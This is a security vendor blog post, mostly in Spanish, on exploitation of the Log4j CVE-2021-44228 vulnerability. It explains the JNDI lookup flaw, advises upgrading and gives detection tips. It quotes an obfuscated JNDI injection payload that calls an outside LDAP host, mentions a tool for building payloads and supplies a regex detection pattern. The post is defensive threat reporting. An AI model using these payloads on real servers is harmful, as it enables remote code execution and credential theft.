Actualización: 13 de diciembre de 2021
Actores de amenazas que aprovechan la vulnerabilidad Zero-Day Log4j
A medida que hemos seguido vigilando la situación, Vectra ha observado múltiples intentos de los actores de amenazas para explotar los sistemas. Al principio, se trataba de devoluciones de llamada básicas con el intento inicial de explotación procedente de nodos TOR, que en su mayoría remitían a "bingsearchlib[.]com" y pasaban el exploit al agente de usuario o al URI de la solicitud.
Desde la oleada inicial de intentos de explotación, se han producido muchos cambios en las tácticas de los actores de amenazas que utilizan esta vulnerabilidad. En particular, se ha producido un cambio en los comandos utilizados, y las amenazas han empezado a ofuscar sus peticiones. En un principio, esto incluía rellenar el agente de usuario o URI con una cadena base64 que, al ser descodificada por el sistema vulnerable, hacía que el host descargara un dropper malicioso desde la infraestructura del atacante. A continuación, los atacantes comenzaron a ofuscar la propia cadena JDNI, aprovechando otras características de traducción del proceso JDNI. Ejemplos de esto son:
${jndi:${lower:l}${lower:d}a${lower:p}://world80${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//${jndi:dns://Todos ellos consiguen el mismo objetivo, descargar un archivo de clase malicioso y soltarlo en el sistema objetivo, o filtrar credenciales de sistemas cloud.
Permanezca atento al blogVectra para más información.
--
Puesto original: 10 de diciembre de 2021
Descubrimiento inicial de una vulnerabilidad Zero-Day Log4j
On 10th December 2021, a new 0day was discovered in the log4j application. This 0day, now tracked as CVE-2021-44228, takes advantage of the parsing of LDAP logs, and the parsing of the LDAP url in the jndi engine. This engine will automatically look up variables in logs to improve the output of the logs. For example “Logging from ${java:vm}” would output as "Logging from Oracle JVM”. This however, leads to a problem when parsing directory services using this method. When parsing these variables, if there is a dot “.” in the string, the log4j server will look up a remote address and parse the response with the jndi engine.
Mediante el uso de una herramienta como https://github.com/mbechler/marshalsec, un atacante puede crear una carga maliciosa, y dirigir el servidor log4j a esta carga java, que luego se ejecutará en el motor que conduce a la RCE. Para más detalles, consulte los blogs y repositorios de GitHub en las referencias.
Log4j es una solución de registro muy utilizada para aplicaciones basadas en Java, aplicaciones web y módulos. Aplicaciones desde Steam, hasta Minecraft han sido mostradas como vulnerables, pero también múltiples nodos ToR también han sido atacados .
Uno de los mayores problemas a los que se enfrentan los usuarios con esta vulnerabilidad, es que la superficie de ataque es increíblemente grande. Como muestran las imágenes de este repositorio de GitHub.
Cabe destacar que no sólo LDAP es vulnerable, sino también otros analizadores de servicios de directorio, como Remote Method Invocation (RMI) y Common Object Request Broker Architecture (CORBA).
La recomendación de los desarrolladores es actualizar los sistemas log4j a log4j 2.15.0, disponible en Maven Central.
Si está utilizando un sistema habilitado para log4j, debe dirigirse al desarrollador para las actualizaciones de sus sistemas y asumir que aquellos hosts que ejecutan log4j están comprometidos.
Detección de exploits Zero-Day Log4j (CVE-2021-44228)
Uno de los mayores problemas con esta vulnerabilidad, es que el vector inicial es difícil de detectar. Se presenta como una cadena en un log, podrías mirar la entrada cruda al servidor log4j, y alertar sobre todas las conexiones externas LDAP. Alternativamente, podrías buscar conexiones externas desde servidores de registro a archivos de clase Java.
If you have access to metadata, using tools such as the Vectra AI platform for example, one telltale sign of attempts to compromise servers would be to search for the following patterns in text fields such as User-Agent: /\$\{jndi:.*/
Esto encontrará intentos de comprometer los servidores pero no confirmará si ha habido un compromiso. El supuesto es que al menos un servidor de una finca se verá comprometido, y Vectra puede confirmar que los intentos de exploración se han visto a través de múltiples fuentes.
Para encontrar hosts que puedan haber sido comprometidos, puede ser posible buscar hosts que estén descargando archivos JAVA, Jar o Class. Sin embargo, si un host ha sido comprometido, la mejor manera de detectarlo es observarlo y buscar comportamientos sospechosos, especialmente porque la superficie de ataque es enorme y el vector inicial es difícil de detectar dado el uso generalizado de log4j.
La plataforma Vectra AI destaca los hosts con comportamiento sospechoso observando el tráfico de red y utilizando el aprendizaje automático y la IA para clasificar el tráfico. Es de esperar que los hosts que se han visto comprometidos tengan detecciones de tipo Command and Control , detecciones de movimiento lateral, o que se utilicen cuentas de aplicaciones o servicios locales en toda la red. Si se compromete un dispositivo de borde, también puede haber más actividad de reconocimiento desde esos dispositivos dentro de la DMZ.
También vale la pena señalar que los sistemas que ejecutan log4j pueden estar muy dentro de la red. Por ejemplo, parte de un cluster Elastic, y si ese es el caso, esos hosts necesitarán ser identificados también.
Para ello, sería recomendable encontrar aquellos hosts de un polígono que potencialmente ejecuten log4j (Apache Tomcat, Apache Struts, etc.) y moverlos a un grupo, o etiquetarlos, para que sea más cómodo su monitorización y seguimiento, dado el perfil de detección y los términos de búsqueda anteriores.